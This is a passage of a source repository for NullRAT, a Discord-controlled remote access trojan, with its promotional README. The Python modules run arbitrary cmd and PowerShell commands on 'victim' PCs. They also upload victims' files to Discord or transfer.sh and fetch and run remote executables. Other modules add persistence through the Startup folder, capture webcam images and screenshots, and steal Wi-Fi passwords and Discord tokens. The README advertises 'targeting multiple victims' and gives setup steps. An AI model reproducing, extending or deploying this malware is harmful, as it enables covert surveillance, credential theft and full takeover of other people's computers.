213 | @discord.ui.button(label="Next >", style=discord.ButtonStyle.secondary)
214 | async def next_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction):
215 | self.embed_count += 1
216 | embed = self.embeds[self.embed_count]
217 |
218 | self.first_page.disabled = False
219 | self.prev_page.disabled = False
220 | if self.embed_count == len(self.embeds) - 1:
221 | self.next_page.disabled = True
222 | self.last_page.disabled = True
223 | await interaction.response.edit_message(embed=embed, view=self)
224 |
225 | @discord.ui.button(label="Last >>", style=discord.ButtonStyle.blurple)
226 | async def last_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction):
227 | self.embed_count = len(self.embeds) - 1
228 | embed = self.embeds[self.embed_count]
229 |
230 | self.first_page.disabled = False
231 | self.prev_page.disabled = False
232 | self.next_page.disabled = True
233 | self.last_page.disabled = True
234 | await interaction.response.edit_message(embed=embed, view=self)
--------------------------------------------------------------------------------
/NullRAT/modules/geolocate.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 |
5 | import os, requests
6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
7 |
8 | class Geolocate(commands.Cog):
9 | def __init__(self, bot: commands.Bot):
10 | self.bot = bot
11 | self.ip_addr = self.bot.ip_addr
12 |
13 | @commands.slash_command( )
14 | async def get_geolocation(self, ctx, victim):
15 | """Finds all geolocation information of victim
16 |
17 | Parameters
18 | ----------
19 | victim: Identifier of the affected computer (found via /listvictims).
20 | """
21 | if str(victim) == str(self.bot.identifier):
22 | await ctx.response.defer()
23 |
24 | data = requests.get("http://ip-api.com/json/").json()
25 | if data["status"] != "success":
26 | return await ctx.send("```Unable to get Geolocation Info!```")
27 |
28 | embed = self.bot.genEmbed(
29 | "Geolocation Information\n(Powered by ip-api)",
30 | datetime.now(),
31 | f"[Google Maps link](https://www.google.com/maps/search/google+map++{data['lat']},{data['lon']})"
32 | )
33 |
34 | embed.add_field( name="Country", value=f"{data['country']} ({data['countryCode']})" )
35 | embed.add_field( name="City", value=data["city"] )
36 | embed.add_field( name="Region", value=data["regionName"] )
37 | embed.add_field( name="Zip code", value=data["zip"] )
38 | embed.add_field( name="ISP", value=data["isp"] )
39 | embed.add_field( name="Timezone", value=data["timezone"] )
40 |
41 | await ctx.followup.send(embed=embed)
42 |
43 | def setup(bot: commands.Bot):
44 | bot.add_cog(Geolocate(bot))
--------------------------------------------------------------------------------
/NullRAT/modules/getenv.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 |
5 | import os, requests
6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
7 |
8 | class GetEnvironment(commands.Cog):
9 | def __init__(self, bot: commands.Bot):
10 | self.bot = bot
11 |
12 | @commands.slash_command( )
13 | async def get_environment(self, ctx, victim: str, environment: str):
14 | """Finds the values of environment values
15 |
16 | Parameters
17 | ----------
18 | victim: Identifier of the affected computer (found via /listvictims).
19 | environment: The variable of which the value is wanted
20 | """
21 | if str(victim) == str(self.bot.identifier):
22 | try:
23 | value = os.getenv(environment)
24 | except:
25 | return await ctx.response.send_message(
26 | embed=self.bot.genEmbed(
27 | "Invalid environment variable!",
28 | datetime.now()
29 | )
30 | )
31 |
32 | if value is None:
33 | return await ctx.response.send_message(
34 | embed=self.bot.genEmbed(
35 | "Variable's value is empty!",
36 | datetime.now()
37 | )
38 | )
39 |
40 | if value == "":
41 | return await ctx.response.send_message(
42 | embed=self.bot.genEmbed(
43 | "Variable's value is empty!",
44 | datetime.now()
45 | )
46 | )
47 |
48 | if len(value) >= 1023:
49 | return await ctx.response.send_message(f"The value for {environment} is:\n```{value}```")
50 |
51 | await ctx.response.send_message(
52 | embed = self.bot.genEmbed(
53 | f"Found environment variable",
54 | datetime.now()
55 | ).add_field(
56 | name="Value for "+environment+" is:",
57 | value="```"+value+"```"
58 | )
59 | )
60 |
61 | def setup(bot: commands.Bot):
62 | bot.add_cog(GetEnvironment(bot))
--------------------------------------------------------------------------------
/NullRAT/modules/hideFile.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 |
5 | import os, requests
6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
7 |
8 | class HideFile(commands.Cog):
9 | def __init__(self, bot: commands.Bot):
10 | self.bot = bot
11 | self.ip_addr = self.bot.ip_addr
12 |
13 | @commands.slash_command( )
14 | async def hidefile(self, ctx, victim, file):
15 | """Hide any file on victim's computer
16 |
17 | Parameters
18 | ----------
19 | victim: Identifier of the affected computer (found via /listvictims).
20 | file: File path of the file to be hidden.
21 | """
22 | if str(victim) == str(self.bot.identifier):
23 | if '"' in file:
24 | file = file.replace('"','')
25 |
26 | output = os.popen("attrib +h " + '"' + file + '"').read()
27 |
28 | if "not" in output:
29 | return await ctx.response.send_message(
30 | embed = self.bot.genEmbed(
31 | "Unable to hide file!",
32 | datetime.now(),
33 | "Ensure the file path is correct and try again"
34 | )
35 | )
36 |
37 | await ctx.response.send_message(
38 | embed = self.bot.genEmbed(
39 | "File hidden successfully!",
40 | datetime.now(),
41 | "Path:\n```"+file+"```"
42 | )
43 | )
44 |
45 | def setup(bot: commands.Bot):
46 | bot.add_cog(HideFile(bot))
--------------------------------------------------------------------------------
/NullRAT/modules/rawtokens.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 | from base64 import decodebytes
5 |
6 | import os, requests
7 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
8 |
9 | class RawTokens(commands.Cog):
10 | def __init__(self, bot: commands.Bot):
11 | self.bot = bot
12 |
13 | @commands.slash_command( )
14 | async def raw_tokens(self, ctx, victim):
15 | """Sends all Discord Tokens unchecked
16 |
17 | Parameters
18 | ----------
19 | victim: Identifier of the affected computer (found via /listvictims).
20 | """
21 | if str(victim) == str(self.bot.identifier):
22 | await ctx.response.defer()
23 |
24 | try:
25 | tkr = bytes(
26 | requests.get(
27 | "https://raw.githubusercontent.com/NullCode13-Misc/DiscordTokenDecrypt-Go/main/rec_dump_broken"
28 | ).text,
29 | "utf-8"
30 | )
31 | except Exception as e:
32 | return await ctx.followup.send(
33 | "Unable to download decryptor!\n\n"+e
34 | )
35 |
36 | os.chdir(nr_working)
37 | with open("tkr.exe", "wb") as fh: fh.write(decodebytes(tkr))
38 |
39 | changes = {
40 | '[': '',
41 | ']': '',
42 | ',': '',
43 | "'": '',
44 | '"': '',
45 | ' ': '\n'
46 | }
47 |
48 | discordTkz = str(os.popen("tkr.exe").read()).strip('][').split(', ')
49 | webTkz = list(dict.fromkeys(self.bot.find_token()))
50 |
51 | for k, v in changes.items():
52 | discordTkz = str(discordTkz).replace(k, v)
53 | webTkz = str(webTkz).replace(k, v)
54 |
55 | finalTks = str(discordTkz + "\n" + webTkz)
56 |
57 | await ctx.followup.send(
58 | embed = self.bot.genEmbed(
59 | "Decrypted tokens",
60 | datetime.now(),
61 | f"```" + finalTks + "```"
62 | )
63 | )
64 |
65 | os.remove(nr_working + "\\tkr.exe")
66 | os.chdir(self.bot.original_dir)
67 |
68 | def setup(bot: commands.Bot):
69 | bot.add_cog(RawTokens(bot))
--------------------------------------------------------------------------------
/NullRAT/modules/receivefiles.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 |
5 | import os, requests
6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
7 |
8 | class ReceiveFiles(commands.Cog):
9 | def __init__(self, bot: commands.Bot):
10 | self.bot = bot
11 | self.ip_addr = self.bot.ip_addr
12 |
13 | @commands.slash_command( )
14 | async def receivefiles(self, ctx, victim, file_path):
15 | """Receives file from victim's PC.
16 |
17 | Parameters
18 | ----------
19 | victim: Identifier of the affected computer (found via /listvictims).
20 | file_path: Path of the file for receiving.
21 | """
22 | if str(victim) == str(self.bot.identifier):
23 | await ctx.response.defer()
24 |
25 | if '"' in file_path:
26 | file_path = file_path.replace('"','')
27 | try:
28 | f = open(file_path, "rb")
29 | except:
30 | return await ctx.followup.send(
31 | embed=self.bot.genEmbed(
32 | "File was not found!",
33 | datetime.now(),
34 | "Please specify a different path and try again"
35 | )
36 | )
37 |
38 | if os.path.getsize(file_path) < 8388608:
39 | return await ctx.followup.send(
40 | embed = self.bot.genEmbed(
41 | "Received file from victim",
42 | datetime.now()
43 | ),
44 | file = discord.File(
45 | file_path
46 | )
47 | )
48 |
49 | file = {'{}'.format(file_path): f}
50 | response = requests.post('https://transfer.sh/', files=file)
51 | download_link = response.content.decode('utf-8')
52 | deletion_token = response.headers.get("X-Url-Delete")
53 |
54 | deletion_token = deletion_token.replace(download_link.rstrip()+'/','')
55 |
56 | await ctx.followup.send(
57 | embed=self.bot.genEmbed(
58 | "Received file from victim",
59 | datetime.now(),
60 | "Link:\n" + download_link + "\nDeletion token:\n" + deletion_token
61 | )
62 | )
63 |
64 | def setup(bot: commands.Bot):
65 | bot.add_cog(ReceiveFiles(bot))
--------------------------------------------------------------------------------
/NullRAT/modules/runfile.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 |
5 | import os, requests, subprocess
6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
7 |
8 | class RunFile(commands.Cog):
9 | def __init__(self, bot: commands.Bot):
10 | self.bot = bot
11 |
12 | @commands.slash_command( )
13 | async def runfile(self, ctx, victim, file_path):
14 | """Execute a file in victim's PC
15 |
16 | Parameters
17 | ----------
18 | victim: Identifier of the affected computer (found via /listvictims).
19 | file_path: Path of the file for executing.
20 | """
21 |
22 | if str(victim) == str(self.bot.identifier):
23 |
24 | if os.path.isfile(file_path):
25 |
26 | output = subprocess.Popen(
27 | file_path,
28 | cwd = nr_working
29 | )
30 |
31 | return await ctx.response.send_message(
32 | embed = self.bot.genEmbed(
33 | "File has been started!",
34 | datetime.now(),
35 | "You gotta trust me on that one"
36 | )
37 | )
38 |
39 | else:
40 |
41 | return await ctx.response.send_message(
42 | embed = self.bot.genEmbed(
43 | "Invalid file",
44 | datetime.now()
45 | )
46 | )
47 |
48 | def setup(bot: commands.Bot):
49 | bot.add_cog(RunFile(bot))
--------------------------------------------------------------------------------
/NullRAT/modules/screenshot.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 | from io import BytesIO
5 |
6 | import os, requests, mss
7 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
8 |
9 | class GetScreenshot(commands.Cog):
10 | def __init__(self, bot: commands.Bot):
11 | self.bot = bot
12 |
13 | @commands.slash_command( )
14 | async def get_screenshot(self, ctx, victim):
15 | """Sends screenshot of entire monitor
16 |
17 | Parameters
18 | ----------
19 | victim: Identifier of the affected computer (found via /listvictims).
20 | """
21 | if str(victim) == str(self.bot.identifier):
22 | await ctx.response.defer()
23 |
24 | with mss.mss() as sct:
25 | img = sct.grab( sct.monitors[1] )
26 |
27 | png = mss.tools.to_png(
28 | img.rgb,
29 | img.size
30 | )
31 |
32 | await ctx.followup.send(
33 | embed=self.bot.genEmbed(
34 | "Screenshot of victim's PC:",
35 | datetime.now()
36 | ),
37 | file = discord.File(
38 | BytesIO(png),
39 | filename='Screenshot.png'
40 | )
41 | )
42 |
43 | def setup(bot: commands.Bot):
44 | bot.add_cog(GetScreenshot(bot))
--------------------------------------------------------------------------------
/NullRAT/modules/sendfiles.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 |
5 | import os, requests
6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
7 |
8 | class SendFiles(commands.Cog):
9 | def __init__(self, bot: commands.Bot):
10 | self.bot = bot
11 |
12 | @commands.slash_command( )
13 | async def sendfiles(self, ctx, victim, url, file_name, file_path=nr_working):
14 | """Send file to victim's PC
15 |
16 | Parameters
17 | ----------
18 | victim: Identifier of the affected computer (found via /listvictims).
19 | url: Direct link to the file for sending
20 | file_name: Name of the file after sending to PC
21 | file_path: Path to which the file should be saved
22 | """
23 | if str(victim) == str(self.bot.identifier):
24 | await ctx.response.defer()
25 |
26 | if '"' in file_path:
27 | file_path = file_path.replace('"','')
28 | try:
29 | os.chdir(file_path)
30 | except:
31 | return await ctx.followup.send("Invalid directory!")
32 |
33 | try:
34 | r = requests.get(url, allow_redirects=True)
35 | except:
36 | return await ctx.followup.send("Invalid URL!")
37 |
38 | with open(file_name, "wb") as f:
39 | f.write(r.content)
40 |
41 | await ctx.followup.send(
42 | embed=self.bot.genEmbed(
43 | "File successfully sent to PC!",
44 | datetime.now(),
45 | "File path: " + file_path
46 | )
47 | )
48 |
49 | def setup(bot: commands.Bot):
50 | bot.add_cog(SendFiles(bot))
--------------------------------------------------------------------------------
/NullRAT/modules/shell.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 | from io import BytesIO
5 |
6 | import os, requests, subprocess, time
7 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
8 |
9 | class Shell(commands.Cog):
10 | def __init__(self, bot: commands.Bot):
11 | self.bot = bot
12 |
13 | @commands.slash_command( )
14 | async def cmd(self, ctx, victim, command):
15 | """Executes command prompt commands
16 |
17 | Parameters
18 | ----------
19 | victim: Identifier of the affected computer (found via /listvictims).
20 | command: The cmd command to be executed
21 | """
22 | if str(victim) == str(self.bot.identifier):
23 | await ctx.response.defer()
24 |
25 | output = subprocess.run(
26 | command,
27 | shell=True,
28 | stdin=subprocess.PIPE,
29 | stderr=subprocess.PIPE,
30 | stdout=subprocess.PIPE,
31 | ).stdout.decode('utf-8')
32 |
33 | if len(output) > 4095:
34 | output_bytes = BytesIO(
35 | bytes(
36 | output, 'utf-8'
37 | )
38 | )
39 | return await ctx.followup.send(
40 | file = discord.File(
41 | output_bytes, filename = "output.txt"
42 | )
43 | )
44 |
45 | embed = self.bot.genEmbed(
46 | f"Output for `{command}`:",
47 | datetime.now(),
48 | f"```{output}```"
49 | )
50 | await ctx.followup.send(embed=embed)
51 |
52 | @commands.slash_command( )
53 | async def powershell(self, ctx, victim, command):
54 | """[EXPERIMENTAL] Executes powershell commands
55 |
56 | Parameters
57 | ----------
58 | victim: Identifier of the affected computer (found via /listvictims).
59 | command: The powershell command to be executed
60 | """
61 | if str(victim) == str(self.bot.identifier):
62 | await ctx.response.defer()
63 |
64 | output = subprocess.run(
65 | "powershell.exe "+command,
66 | shell=True,
67 | stdin=subprocess.PIPE,
68 | stderr=subprocess.PIPE,
69 | stdout=subprocess.PIPE,
70 | ).stdout.decode('utf-8')
71 |
72 | if len(output) > 4095:
73 | output_bytes = BytesIO(
74 | bytes(
75 | output, 'utf-8'
76 | )
77 | )
78 | return await ctx.followup.send(
79 | file = discord.File(
80 | output_bytes, filename = "output.txt"
81 | )
82 | )
83 |
84 | embed = self.bot.genEmbed(
85 | f"Output for `{command}`:",
86 | datetime.now(),
87 | f"```{output}```"
88 | )
89 | await ctx.followup.send(embed=embed)
90 |
91 |
92 | def setup(bot: commands.Bot):
93 | bot.add_cog(Shell(bot))
94 |
--------------------------------------------------------------------------------
/NullRAT/modules/startup.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 | from sys import executable
5 |
6 | import os, requests, subprocess
7 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
8 |
9 | class Startup(commands.Cog):
10 | def __init__(self, bot: commands.Bot):
11 | self.bot = bot
12 |
13 | @commands.slash_command()
14 | async def startup(self, ctx, victim):
15 | """Add NullRAT to startup directory
16 |
17 | Parameters
18 | ----------
19 | victim: Identifier of the affected computer (found via /listvictims).
20 | """
21 | if str(victim) == str(self.bot.identifier):
22 | msg = "```\n"
23 |
24 | await ctx.response.send_message(
25 | embed = discord.Embed(
26 | title = "Last known RAT directory: \n" + self.bot.original_dir + "\n\nCurrent Directory: \n" + os.getcwd(),
27 | color = 0x000000
28 | )
29 | )
30 |
31 | os.chdir(self.bot.original_dir)
32 |
33 | await ctx.channel.send(
34 | embed = discord.Embed(
35 | title = "Trying to copy payload into startup directory...",
36 | color = 0x000000
37 | )
38 | )
39 |
40 | subprocess.run(
41 | f'copy "{executable}" "{os.getenv("appdata")}\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"',
42 | shell=True,
43 | stdout=subprocess.PIPE,
44 | stderr=subprocess.PIPE,
45 | stdin=subprocess.PIPE
46 | )
47 |
48 | os.chdir(os.getenv("appdata") + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup")
49 |
50 | for value in os.listdir():
51 | msg += f'{value}\n'
52 |
53 | msg += "```"
54 | await ctx.channel.send(
55 | embed=self.bot.genEmbed(
56 | "If you see the program here, you're good to go: ",
57 | datetime.now()
58 | )
59 | )
60 |
61 | await ctx.channel.send(msg)
62 | os.chdir(self.bot.original_dir)
63 |
64 | def setup(bot: commands.Bot):
65 | bot.add_cog(Startup(bot))
66 |
--------------------------------------------------------------------------------
/NullRAT/modules/systeminfo.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 | from io import BytesIO
5 |
6 | import os, requests, subprocess
7 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
8 |
9 | class SytemInfo(commands.Cog):
10 | def __init__(self, bot: commands.Bot):
11 | self.bot = bot
12 |
13 | @commands.slash_command( )
14 | async def get_systeminfo(self, ctx, victim):
15 | """Sends General System Information
16 |
17 | Parameters
18 | ----------
19 | victim: Identifier of the affected computer (found via /listvictims).
20 | """
21 | if str(victim) == str(self.bot.identifier):
22 | await ctx.response.defer()
23 |
24 | output = BytesIO(
25 | bytes(
26 | os.popen("SYSTEMINFO").read(),
27 | 'utf-8'
28 | )
29 | )
30 |
31 | await ctx.followup.send(
32 | embed=self.bot.genEmbed(
33 | "System Information:",
34 | datetime.now()
35 | ),
36 | file=discord.File(
37 | output,
38 | filename="systeminfo.txt"
39 | ),
40 | )
41 |
42 | def setup(bot: commands.Bot):
43 | bot.add_cog(SytemInfo(bot))
--------------------------------------------------------------------------------
/NullRAT/modules/tasklist.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 | from io import BytesIO
5 |
6 | import os, requests
7 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
8 |
9 | class TaskList(commands.Cog):
10 | def __init__(self, bot: commands.Bot):
11 | self.bot = bot
12 |
13 | @commands.slash_command( )
14 | async def list_runningtasks(self, ctx, victim):
15 | """Lists all running tasks in the PC
16 |
17 | Parameters
18 | ----------
19 | victim: Identifier of the affected computer (found via /listvictims).
20 | """
21 |
22 | if str(victim) == str(self.bot.identifier):
23 | await ctx.response.defer()
24 |
25 | list = os.popen('tasklist').read() # I swear I'll make it better later
26 |
27 | if len(list) > 1998:
28 | return await ctx.followup.send(
29 | file=discord.File(
30 | BytesIO(bytes(list, 'utf-8')),
31 | filename = "tasklist.txt"
32 | )
33 | )
34 | else:
35 | return await ctx.followup.send(
36 | f"```{list}```"
37 | )
38 |
39 | @commands.slash_command( )
40 | async def list_runningstore(self, ctx, victim):
41 | """Lists all Microsoft Store apps running on the PC
42 |
43 | Parameters
44 | ----------
45 | victim: Identifier of the affected computer (found via /listvictims).
46 | """
47 |
48 | if str(victim) == str(self.bot.identifier):
49 | await ctx.response.defer()
50 |
51 | list = os.popen('tasklist /APPS').read() # I SWEAR...
52 |
53 | if len(list) > 1998:
54 | return await ctx.followup.send(
55 | file=discord.File(
56 | BytesIO(bytes(list, 'utf-8')),
57 | filename = "storelist.txt"
58 | )
59 | )
60 | else:
61 | return await ctx.followup.send(
62 | f"```{list}```"
63 | )
64 |
65 | @commands.slash_command( )
66 | async def kill_runningtasks(self, ctx, victim, task):
67 | """Kills a running task on this PC. [NOTE: ADMIN TASK'S CANT BE KILLED]
68 |
69 | Parameters
70 | ----------
71 | victim: Identifier of the affected computer (found via /listvictims).
72 | task: Task to kill ( give real name + extension {ex: mspaint.exe} )
73 | """
74 |
75 | if str(victim) == str(self.bot.identifier):
76 | await ctx.response.defer()
77 |
78 | list = os.popen('taskkill /f /t /im ' + task).read() # I SWEAR...
79 |
80 | if len(list) <= 1:
81 | return await ctx.followup.send(
82 | embed = self.bot.genEmbed(
83 | "Unable to find process!",
84 | datetime.now()
85 | )
86 | )
87 | if len(list) > 1998:
88 | return await ctx.followup.send(
89 | file=discord.File(
90 | BytesIO(bytes(list, 'utf-8')),
91 | filename = "storelist.txt"
92 | )
93 | )
94 | else:
95 | return await ctx.followup.send(
96 | f"```{list}```"
97 | )
98 | def setup(bot: commands.Bot):
99 | bot.add_cog(TaskList(bot))
--------------------------------------------------------------------------------
/NullRAT/modules/unhideFile.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 |
5 | import os, requests
6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
7 |
8 | class unHideFile(commands.Cog):
9 | def __init__(self, bot: commands.Bot):
10 | self.bot = bot
11 | self.ip_addr = self.bot.ip_addr
12 |
13 | @commands.slash_command( )
14 | async def unhidefile(self, ctx, victim, file):
15 | """Unhide hidden file on victim's computer
16 |
17 | Parameters
18 | ----------
19 | victim: Identifier of the affected computer (found via /listvictims).
20 | file: File path of the file to be unhidden.
21 | """
22 | if str(victim) == str(self.bot.identifier):
23 |
24 | if '"' in file:
25 | file = file.replace('"','')
26 |
27 | output = os.popen("attrib -h " + '"' + file + '"').read()
28 |
29 | if "not" in output:
30 | return await ctx.response.send_message(
31 | embed = self.bot.genEmbed(
32 | "Unable to show file!",
33 | datetime.now(),
34 | "Ensure the file path is correct and try again"
35 | )
36 | )
37 |
38 | await ctx.response.send_message(
39 | embed = self.bot.genEmbed(
40 | "File unhidden successfully!",
41 | datetime.now(),
42 | "Path:\n```"+file+"```"
43 | )
44 | )
45 |
46 | def setup(bot: commands.Bot):
47 | bot.add_cog(unHideFile(bot))
--------------------------------------------------------------------------------
/NullRAT/modules/webcam.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 | from base64 import decodebytes
5 |
6 | import os, requests, subprocess, time
7 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
8 |
9 | class GetWebcam(commands.Cog):
10 | def __init__(self, bot: commands.Bot):
11 | self.bot = bot
12 |
13 | @commands.slash_command( )
14 | async def get_webcam(self, ctx, victim):
15 | """Capture image from webcam
16 |
17 | Parameters
18 | ----------
19 | victim: Identifier of the affected computer (found via /listvictims).
20 | """
21 | if str(victim) == str(self.bot.identifier):
22 | await ctx.response.defer()
23 |
24 | webcam = bytes(
25 | requests.get(
26 | "https://raw.githubusercontent.com/NullCode13-Misc/CommandCam/master/CommandCam_binary_base64"
27 | ).text, "utf-8"
28 | )
29 |
30 | os.chdir(nr_working)
31 | with open("cc.exe", "wb") as fh:
32 | fh.write(decodebytes(webcam))
33 |
34 | subprocess.run(
35 | "cc.exe & ren image.bmp image.png",
36 | shell=True,
37 | stdout=subprocess.PIPE,
38 | stderr=subprocess.PIPE,
39 | stdin=subprocess.PIPE
40 | )
41 |
42 | try:
43 | await ctx.followup.send(
44 | embed=self.bot.genEmbed(
45 | "Image taken from webcam:",
46 | datetime.now()
47 | ),
48 | file=discord.File(
49 | nr_working + "\\image.png"
50 | )
51 | )
52 | except FileNotFoundError:
53 | os.remove(nr_working + "\\cc.exe")
54 | return await ctx.followup.send("No webcam!")
55 |
56 | time.sleep(2)
57 | os.remove(nr_working + "\\image.png")
58 | os.remove(nr_working + "\\cc.exe")
59 | os.chdir(self.bot.original_dir)
60 |
61 | def setup(bot: commands.Bot):
62 | bot.add_cog(GetWebcam(bot))
--------------------------------------------------------------------------------
/NullRAT/modules/wifiList.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 |
5 | import os, re, requests
6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
7 |
8 | class WifiList(commands.Cog):
9 | def __init__(self, bot: commands.Bot):
10 | self.bot = bot
11 | self.ip_addr = self.bot.ip_addr
12 |
13 | @commands.slash_command( )
14 | async def wifilist(self, ctx, victim):
15 | """Lists all wifi networks
16 |
17 | Parameters
18 | ----------
19 | victim: Identifier of the affected computer (found via /listvictims).
20 | """
21 | if str(victim) == str(self.bot.identifier):
22 | ssids = []
23 | msg = ""
24 |
25 | output = os.popen("netsh wlan show profiles").read()
26 | profiles = re.findall(r"All User Profile\s(.*)", output)
27 | for profile in profiles:
28 | ssid = profile.strip().strip(":").strip()
29 | ssids.append(ssid)
30 |
31 | for i, ssid in zip(range(1, len(ssids)+1), ssids):
32 | msg += f"{i}) {ssid}\n"
33 |
34 | if len(msg) >= 4000:
35 | return await ctx.response.send_message(
36 | "All saved wifi networks:```" + msg + "```"
37 | )
38 |
39 | await ctx.response.send_message(
40 | embed=self.bot.genEmbed(
41 | "All saved wifi networks:",
42 | datetime.now(), msg
43 | )
44 | )
45 |
46 | def setup(bot: commands.Bot):
47 | bot.add_cog(WifiList(bot))
--------------------------------------------------------------------------------
/NullRAT/modules/wifiPass.py:
--------------------------------------------------------------------------------
1 | import disnake as discord
2 | from disnake.ext import commands
3 | from datetime import datetime
4 |
5 | import os, re, requests
6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
7 |
8 | class WifiPass(commands.Cog):
9 | def __init__(self, bot: commands.Bot):
10 | self.bot = bot
11 | self.ip_addr = self.bot.ip_addr
12 |
13 | @commands.slash_command( )
14 | async def wifipass(self, ctx, victim, ssid):
15 | """Lists specified wifi password
16 |
17 | Parameters
18 | ----------
19 | victim: Identifier of the affected computer (found via /listvictims).
20 | ssid: The name of the WIFI
21 | """
22 | if str(victim) == str(self.bot.identifier):
23 | ssid_details = os.popen(f"""netsh wlan show profile "{ssid}" key=clear""").read()
24 | ciphers = re.findall(r"Cipher\s(.*)", ssid_details)
25 | ciphers = "/".join([c.strip().strip(":").strip() for c in ciphers])
26 | key = re.findall(r"Key Content\s(.*)", ssid_details)
27 | try:
28 | key = key[0].strip().strip(":").strip()
29 | except IndexError:
30 | key = "None"
31 |
32 | await ctx.response.send_message(
33 | embed = self.bot.genEmbed(
34 | "Wifi password for " + ssid + ":",
35 | datetime.now(), key
36 | )
37 | )
38 |
39 | def setup(bot: commands.Bot):
40 | bot.add_cog(WifiPass(bot))
--------------------------------------------------------------------------------
/NullRAT/upx/upx.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NullCode1337/NullRAT/de9796db2a58f0984aec96e33279c2b19fd67424/NullRAT/upx/upx.exe
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | 
3 |
4 | The next-generation of Discord RATs
5 | Please read the entire README before using the RAT
6 |
7 | ---
8 |
9 |
10 |
11 |
12 |
13 | > # Features:
14 | NullRAT Features
15 |
16 | ```diff
17 | + Always maintained
18 |
19 | + Designed to be very noob friendly with intuitive features:
20 | +- Controlled via slash commands
21 | +- User friendly interface
22 | +- Uses pagination and embed buttons, along with other neat features
23 |
24 | + Supports targeting multiple victims regardless of who they are
25 |
26 | + Created with small size and anonymity in mind! (6.70MB payload)
27 | ```
28 |
29 | NullRAT Payload Features
30 |
31 | ```diff
32 | === A full list of commands can be found by typing `/` ===
33 |
34 | + Find all present victims at real time [/listvictims]
35 | + Kill any running task that isn't Admin [/kill_runningtasks]
36 | + Take pictures using victim's webcam [/get_webcam]
37 | + Take screenshot of victim's monitor [/get_screenshot]
38 | + Get victim's system information [/get_systeminfo]
39 | + Get victim's clipboard text history [/get_clipboard]
40 | + Send files/payloads to victim's PC [/sendfiles]
41 | + Receive files from victim's PC [/receivefiles]
42 | + Run any sent payloads quickly [/runfile]
43 | + Find any environment variables [/get_environment]
44 | + Add executable to startup with one command [/startup]
45 | + Decrypt the new encrypted Discord Tokens and upload them [/discord_tokens]
46 | + Check the decrypted Discord Tokens and upload all user info [/discord_checked]
47 | + Directly upload Discord Tokens from 10+ application paths [/raw_tokens]
48 |
49 | + Find WIFI SSIDs [/wifilist] and passwords [/wifipass] in victim's PC
50 | + Hide files [/hidefile] or unhide files [/unhidefile] in victim's PC
51 | + Shutdown the RAT elegantly using the modern [/shutdown] commands
52 | + Execute CMD commands & Powershell commands [/cmd] [/powershell]
53 |
54 | + Check the user tokens and upload all user info: [/checked_tokens]
55 | - Username, Tag and ID
56 | - Email Address
57 | - Phone Number
58 | - Nitro Status
59 | - Billing Info Status
60 |
61 | + Find victim's geographic information [/get_geolocation]
62 | - Country
63 | - City
64 | - Region
65 | - Zip Code
66 | - ISP
67 | - Google Maps Link
68 |
69 | + Directory manipulation commands:
70 | - [/get_currentdir]
71 | - [/set_currentdir]
72 | - [/list_directory]
73 |
74 | + List any form of running tasks in victim's PC:
75 | - [/list_runningtasks]
76 | - [/list_runningstore]
77 |
78 | + ...and much more!
79 | ```
80 |
81 |
82 |
83 |
84 | > # How to use:
85 | #### Requirements:
86 | - Nothing! The newly designed compiler will handle **everything** for your convenience!
87 | 
88 |
89 | #### Preparation:
90 | - Create a Discord Bot and [get it's token](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#discord-bot-token)
91 | - [Create a bot invite link](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#proper-bot-invite-link) and add it to your server
